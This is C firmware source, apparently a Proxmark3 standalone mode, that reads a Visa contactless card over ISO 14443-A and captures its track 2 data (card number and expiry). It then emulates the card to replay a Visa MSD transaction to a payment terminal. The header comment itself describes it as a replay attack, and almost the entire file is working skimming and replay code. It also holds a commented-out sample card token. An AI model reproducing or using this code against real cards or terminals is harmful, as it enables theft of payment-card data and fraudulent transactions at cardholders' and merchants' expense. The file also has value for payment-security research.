//----------------------------------------------------------------------------- // Salvador Mendoza (salmg.net), 2020 // // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of // the license. //----------------------------------------------------------------------------- // Code for reading and emulating 14a technology aka MSDSal by Salvador Mendoza //----------------------------------------------------------------------------- #include "standalone.h" #include "proxmark3_arm.h" #include "appmain.h" #include "fpgaloader.h" #include "util.h" #include "dbprint.h" #include "ticks.h" #include "string.h" #include "BigBuf.h" #include "iso14443a.h" #include "protocols.h" #include "cmd.h" void ModInfo(void) { DbpString(" HF - Reading Visa cards & Emulating a Visa MSD Transaction(ISO14443) - (Salvador Mendoza)"); } /* This standalone implements two different modes: reading and emulating. * * The initial mode is reading with LED A as guide. * In this mode, the Proxmark expects a Visa Card, * and will act as card reader. Trying to find track 2. * * If the Proxmark found a track 2, it will change to emulation mode (LED C) automatically. * During this mode the Proxmark will behave as card, emulating a Visa MSD transaction * using the pre-saved track2 from the previous reading. * * It is possible to jump from mode to another by simply pressing the button. * However, to jump from reading to emulation mode, the LED C as to be on, which * means having a track 2 in memory. * * Keep pressing the button down will quit the standalone cycle. * * LEDs: * LED A = in reading mode * LED C = in emulation(a track 2 in memory) mode * LED A + LED C = in reading mode, but you can jump back to emulation mode by pressing the button * LED B = receiving/sending commands, activity * * * Reading or emulating ISO-14443A technology is not limited to payment cards. This example * was not only designed to make a replay attack, but to open new possibilities in the ISO-14443A * technologies. Be brave enough to share your knowledge & inspire others. Salvador Mendoza. */ uint8_t ppdol [255] = {0x80, 0xA8, 0x00, 0x00, 0x02, 0x83, 0x00}; // Default GET PROCESSING static uint8_t treatPDOL(uint8_t *apdu) { //Generate GET PROCESSING uint8_t plen = 7; //PDOL Format: 80 A8 00 00 + (PDOL Length+2) + 83 + PDOL Length + PDOL + 00 for (uint8_t i = 1; i <= apdu[0]; i++) { //Magic stuff, the generation order is important if (apdu[i] == 0x9F && apdu[i + 1] == 0x66) { //Terminal Transaction Qualifiers ppdol[plen] = 0xF6; ppdol[plen + 1] = 0x20; ppdol[plen + 2] = 0xC0; ppdol[plen + 3] = 0x00; plen += 4; i += 2; } else if (apdu[i] == 0x9F && apdu[i + 1] == 0x1A) { //Terminal Country Code ppdol[plen] = 0x9F; ppdol[plen + 1] = 0x1A; plen += 2; i += 2; } else if (apdu[i] == 0x5F && apdu[i + 1] == 0x2A) { //Transaction Currency Code ppdol[plen] = 0x5F; ppdol[plen + 1] = 0x2A; plen += 2; i += 2; } else if (apdu[i] == 0x9A) { //Transaction Date ppdol[plen] = 0x9A; ppdol[plen + 1] = 0x9A; ppdol[plen + 2] = 0x9A; plen += 3; i += 1; } else if (apdu[i] == 0x95) { //Terminal Verification Results ppdol[plen] = 0x95; ppdol[plen + 1] = 0x95; ppdol[plen + 2] = 0x95; ppdol[plen + 3] = 0x95; ppdol[plen + 4] = 0x95; plen += 5; i += 1; } else if (apdu[i] == 0x9C) { //Transaction Type ppdol[plen] = 0x9C; plen += 1; i += 1; } else if (apdu[i] == 0x9F && apdu[i + 1] == 0x37) { //Unpredictable Number ppdol[plen] = 0x9F; ppdol[plen + 1] = 0x37; ppdol[plen + 2] = 0x9F; ppdol[plen + 3] = 0x37; plen += 4; i += 2; } else { //To the others, add "0" to complete the format depending on its range uint8_t u = apdu[i + 2]; while (u > 0) { ppdol[plen] = 0; plen += 1; u--; } i += 2; } } ppdol[4] = (plen + 2) - 7; // Length of PDOL + 2 ppdol[6] = plen - 7; // Real length plen++; // +1 because the last 0 ppdol[plen] = 0x00; // Add the last 0 to the challenge return plen; } void RunMod(void) { StandAloneMode(); Dbprintf(_YELLOW_(">>") "Reading Visa cards & Emulating a Visa MSD Transaction a.k.a. MSDSal Started<<"); FpgaDownloadAndGo(FPGA_BITSTREAM_HF); //For reading process iso14a_card_select_t card_a_info; uint8_t apdubuffer[MAX_FRAME_SIZE] = { 0x00 }; //Specific for Visa cards: select ppse, select Visa AID, GET PROCESSING, SFI uint8_t ppse[20] = {0x00, 0xA4, 0x04, 0x00, 0x0e, 0x32, 0x50, 0x41, 0x59, 0x2e, 0x53, 0x59, 0x53, 0x2e, 0x44, 0x44, 0x46, 0x30, 0x31, 0x00}; uint8_t visa[13] = {0x00, 0xA4, 0x04, 0x00, 0x07, 0xa0, 0x00, 0x00, 0x00, 0x03, 0x10, 0x10, 0x00}; uint8_t processing [8] = {0x80, 0xA8, 0x00, 0x00, 0x02, 0x83, 0x00, 0x00}; uint8_t sfi[5] = {0x00, 0xb2, 0x01, 0x0c, 0x00}; uint8_t *apdus[4] = {ppse, visa, processing, sfi}; uint8_t apdusLen [4] = { sizeof(ppse), sizeof(visa), sizeof(processing), sizeof(sfi)}; uint8_t pdol[50], plen = 8; bool existpdol; // - MSD token card format - // //Card number: 4412 3456 0578 1234 //Expiration date: 17/11 //Service code: 201 //Discretionary data: 0000030000991 //char token[19] = {0x44,0x12,0x34,0x56,0x05,0x78,0x12,0x34,0xd1,0x71,0x12,0x01,0x00,0x00,0x03,0x00,0x00,0x99,0x1f}; // // It is possible to initialize directly the emulation mode, having "token" with data and set "chktoken" = true ;) // char token[19] = {0x00}; bool chktoken = false; //For emulation steps #define ATQA 0 #define UIDC1 1 #define SAKC1 3 #define RATS 5 #define SIGNATURE 7 // Allocate 512 bytes for the dynamic modulation, created when the reader queries for it // Such a response is less time critical, so we can prepare them on the fly #define DYNAMIC_RESPONSE_BUFFER_SIZE 64 #define DYNAMIC_MODULATION_BUFFER_SIZE 512 uint8_t flags = FLAG_4B_UID_IN_DATA; //UID 4 bytes(could be 7 bytes if needed it) uint8_t data[PM3_CMD_DATA_SIZE] = {0x00}; // in case there is a read command received we shouldn't break uint8_t visauid[7] = {0x01, 0x02, 0x03, 0x04}; memcpy(data, visauid, 4); // to initialize the emulation uint8_t tagType = 4; // 4 = ISO/IEC 14443-4 - javacard (JCOP) tag_response_info_t *responses; uint32_t cuid = 0; uint32_t counters[3] = { 0x00, 0x00, 0x00 }; uint8_t tearings[3] = { 0xbd, 0xbd, 0xbd }; uint8_t pages = 0; // command buffers uint8_t receivedCmd[MAX_FRAME_SIZE] = { 0x00 }; uint8_t receivedCmdPar[MAX_PARITY_SIZE] = { 0x00 }; uint8_t dynamic_response_buffer[DYNAMIC_RESPONSE_BUFFER_SIZE]; uint8_t dynamic_modulation_buffer[DYNAMIC_MODULATION_BUFFER_SIZE]; // to know the transaction status uint8_t prevCmd = 0; // handler - command responses tag_response_info_t dynamic_response_info = { .response = dynamic_response_buffer, .response_n = 0, .modulation = dynamic_modulation_buffer, .modulation_n = 0 }; // States for standalone #define STATE_READ 0 #define STATE_EMU 1 uint8_t state = STATE_READ; //Checking if the user wants to go directly to emulation mode using a hardcoded track 2 if (chktoken == true && token[0] != 0x00) { state = STATE_EMU; Dbprintf(_YELLOW_("[") "Initialized emulation mode " _YELLOW_("]")); DbpString("\n"_YELLOW_("!!") "Waiting for a card reader..."); } else { DbpString(_YELLOW_("[") "Initialized reading mode " _YELLOW_("]")); DbpString("\n"_YELLOW_("!!") "Waiting for a Visa card..."); } for (;;) { WDT_HIT(); // exit from RunMod, send a usbcommand. if (data_available()) break; // Was our button held down or pressed? int button_pressed = BUTTON_HELD(1000); if (button_pressed == 1) //Holding down the button break; else if (button_pressed == -1) { //Pressing one time change between reading & emulation if (state == STATE_READ) { if (chktoken == true && token[0] != 0x00) { //Only change to emulation if it saved a track 2 in memory state = STATE_EMU; Dbprintf(_YELLOW_("[") "In emulation mode " _YELLOW_("]")); } else Dbprintf(_YELLOW_("!!") "Nothing in memory to emulate"); } else { state = STATE_READ; Dbprintf(_YELLOW_("[") "In reading mode " _YELLOW_("]")); } } SpinDelay(500); if (state == STATE_READ) { LED_A_ON(); if (chktoken) LED_C_ON(); iso14443a_setup(FPGA_HF_ISO14443A_READER_MOD); if (iso14443a_select_card(NULL, &card_a_info, NULL, true, 0, false)) { Dbprintf(_YELLOW_("+") "Found ISO 14443 Type A!"); for (uint8_t i = 0; i < 4; i++) { chktoken = false; LED_C_OFF(); LED_B_ON(); uint8_t apdulen = iso14_apdu(apdus[i], (uint16_t) apdusLen[i], false, apdubuffer, NULL); if (apdulen > 0) { Dbprintf(_YELLOW_("[") "Proxmark command " _YELLOW_("]")); Dbhexdump(apdusLen[i], apdus[i], false); Dbprintf(_GREEN_("[") "Card answer " _GREEN_("]")); Dbhexdump(apdulen - 2, apdubuffer, false); Dbprintf("----"); for (uint8_t u = 0; u < apdulen; u++) { if (i == 1) { if (apdubuffer[u] == 0x9F && apdubuffer[u + 1] == 0x38) { //Check for PDOL for (uint8_t e = 0; e <= apdubuffer[u + 2]; e++) pdol[e] = apdubuffer[u + e + 2]; plen = treatPDOL(pdol); //Generate a challenge apdus[2] = ppdol; apdusLen[2] = plen; existpdol = true; } } else if (i == 3) { if (apdubuffer[u] == 0x57 && apdubuffer[u + 1] == 0x13 && !chktoken) { //Find track 2 chktoken = true; memcpy(&token, &apdubuffer[u + 2], 19); break; } } } if (i == 1) { Dbprintf(_GREEN_("[") "Challenge generated " _GREEN_("]")); Dbhexdump(plen, existpdol ? ppdol : processing, false); } } else { Dbprintf(_YELLOW_("!!") "Error reading the card"); } LED_B_OFF(); } if (chktoken) { Dbprintf(_RED_("[") "Track 2 " _RED_("]")); Dbhexdump(19, (uint8_t *)token, false); Dbprintf(_YELLOW_("!!") "Card number"); Dbhexdump(8, (uint8_t *)token, false); DbpString("---"); LED_C_ON(); state = STATE_EMU; Dbprintf(_YELLOW_("[") "Initialized emulation mode " _YELLOW_("]")); DbpString("\n"_YELLOW_("!!") "Waiting for a card reader..."); } } } else if (state == STATE_EMU) { LED_A_OFF(); LED_C_ON(); // free eventually allocated BigBuf memory but keep Emulator Memory BigBuf_free_keep_EM(); if (SimulateIso14443aInit(tagType, flags, data, &responses, &cuid, counters, tearings, &pages) == false) { BigBuf_free_keep_EM(); reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EINIT, NULL, 0); DbpString(_YELLOW_("!!") "Error initializing the emulation process!"); SpinDelay(500); state = STATE_READ; DbpString(_YELLOW_("[") "Initialized reading mode " _YELLOW_("]")); DbpString("\n" _YELLOW_("!!") "Waiting for a Visa card..."); break; } // We need to listen to the high-frequency, peak-detected path. iso14443a_setup(FPGA_HF_ISO14443A_TAGSIM_LISTEN); int len = 0; // command length int retval = PM3_SUCCESS; // to check emulation status clear_trace(); set_tracing(true); for (;;) { LED_B_OFF(); // Clean receive command buffer if (!GetIso14443aCommandFromReader(receivedCmd, receivedCmdPar, &len)) { Dbprintf(_YELLOW_("!!") "Emulator stopped"); retval = PM3_EOPABORTED; break; } tag_response_info_t *p_response = NULL; LED_B_ON(); // dynamic_response_info will be in charge of responses dynamic_response_info.response_n = 0; // Checking the commands order is important and elemental if (receivedCmd[0] == ISO14443A_CMD_REQA && len == 1) { // Received a REQUEST DbpString(_YELLOW_("+") "REQUEST Received"); p_response = &responses[ATQA]; } else if (receivedCmd[0] == ISO14443A_CMD_HALT && len == 4) { // Received a HALT DbpString(_YELLOW_("+") "Received a HALT"); p_response = NULL; } else if (receivedCmd[0] == ISO14443A_CMD_WUPA && len == 1) { // Received a WAKEUP //Este!! DbpString(_YELLOW_("+") "WAKEUP Received"); p_response = &responses[ATQA]; prevCmd = 0; } else if (receivedCmd[1] == 0x20 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT && len == 2) { // Received request for UID (cascade 1) DbpString(_YELLOW_("+") "Request for UID C1"); p_response = &responses[UIDC1]; } else if (receivedCmd[1] == 0x70 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT && len == 9) { // Received a SELECT (cascade 1) DbpString(_YELLOW_("+") "Request for SELECT S1"); p_response = &responses[SAKC1]; } else if (receivedCmd[0] == ISO14443A_CMD_RATS && len == 4) { // Received a RATS request DbpString(_YELLOW_("+") "Request for RATS"); p_response = &responses[RATS]; } else { Dbprintf(_YELLOW_("[") "Card reader command " _YELLOW_("]")); Dbhexdump(len, receivedCmd, false); if (receivedCmd[0] == 0x02 || receivedCmd[0] == 0x03) { //Emulate a Visa MSD(Magnetic stripe data) card dynamic_response_info.response[0] = receivedCmd[0]; //Depending on card reader commands, the Proxmark will answer to fool the reader if (receivedCmd[2] == 0xA4 && receivedCmd[6] == 0x32 && prevCmd == 0) { //Respond with PPSE uint8_t ppsea[39] = {0x6F, 0x23, 0x84, 0x0E, 0x32, 0x50, 0x41, 0x59, 0x2E, 0x53, 0x59, 0x53, 0x2E, 0x44, 0x44, 0x46, 0x30, 0x31, 0xA5, 0x11, 0xBF, 0x0C, 0x0E, 0x61, 0x0C, 0x4F, 0x07, 0xA0, 0x00, 0x00, 0x00, 0x03, 0x10, 0x10, 0x87, 0x01, 0x01, 0x90, 0x00}; memcpy(&dynamic_response_info.response[1], ppsea, sizeof(ppsea)); dynamic_response_info.response_n = sizeof(ppsea) + 1; prevCmd++; } else if (receivedCmd[2] == 0xA4 && receivedCmd[10] == 0x03 && receivedCmd[11] == 0x10 && prevCmd == 1) { //Respond Visa AID uint8_t visauid_long[34] = {0x6F, 0x1E, 0x84, 0x07, 0xA0, 0x00, 0x00, 0x00, 0x03, 0x10, 0x10, 0xA5, 0x13, 0x50, 0x0B, 0x56, 0x49, 0x53, 0x41, 0x20, 0x43, 0x52, 0x45, 0x44, 0x49, 0x54, 0x9F, 0x38, 0x03, 0x9F, 0x66, 0x02, 0x90, 0x00}; memcpy(&dynamic_response_info.response[1], visauid_long, sizeof(visauid_long)); dynamic_response_info.response_n = sizeof(visauid_long) + 1; prevCmd++; } else if (receivedCmd[1] == 0x80 && receivedCmd[2] == 0xA8 && receivedCmd[6] == 0x83 && prevCmd == 2) { //GET PROCESSING uint8_t processing_long[10] = {0x80, 0x06, 0x00, 0x80, 0x08, 0x01, 0x01, 0x00, 0x90, 0x00}; memcpy(&dynamic_response_info.response[1], processing_long, sizeof(processing_long)); dynamic_response_info.response_n = sizeof(processing_long) + 1; prevCmd++; } else if (receivedCmd[1] == 0x00 && receivedCmd[2] == 0xB2 && prevCmd == 3) { //SFI uint8_t last[4] = {0x70, 0x15, 0x57, 0x13}; uint8_t statusapdu[2] = {0x90, 0x00}; uint8_t card[25]; memcpy(&card[0], last, sizeof(last)); memcpy(&card[4], token, sizeof(token)); memcpy(&card[23], statusapdu, sizeof(statusapdu)); memcpy(&dynamic_response_info.response[1], card, sizeof(card)); dynamic_response_info.response_n = sizeof(card) + 1; prevCmd++; } else { uint8_t finished[2] = {0x6f, 0x00}; memcpy(&dynamic_response_info.response[1], finished, sizeof(finished)); dynamic_response_info.response_n = sizeof(finished) + 1; if (prevCmd == 5) { prevCmd = 0; } } } else { Dbprintf(_YELLOW_("!!") "Received unknown command!"); if (prevCmd < 4) { memcpy(dynamic_response_info.response, receivedCmd, len); dynamic_response_info.response_n = len; } else { dynamic_response_info.response_n = 0; } } } if (dynamic_response_info.response_n > 0) { Dbprintf(_GREEN_("[") "Proxmark3 answer " _GREEN_("]")); Dbhexdump(dynamic_response_info.response_n, dynamic_response_info.response, false); Dbprintf("----"); // Add CRC bytes, always used in ISO 14443A-4 compliant cards AddCrc14A(dynamic_response_info.response, dynamic_response_info.response_n); dynamic_response_info.response_n += 2; if (prepare_tag_modulation(&dynamic_response_info, DYNAMIC_MODULATION_BUFFER_SIZE) == false) { SpinDelay(500); DbpString(_YELLOW_("!!") "Error preparing Proxmark to answer!"); continue; } p_response = &dynamic_response_info; } if (p_response != NULL) { EmSendPrecompiledCmd(p_response); } } switch_off(); set_tracing(false); BigBuf_free_keep_EM(); reply_ng(CMD_HF_MIFARE_SIMULATE, retval, NULL, 0); } } DbpString(_YELLOW_("[=]") "exiting"); LEDsoff(); }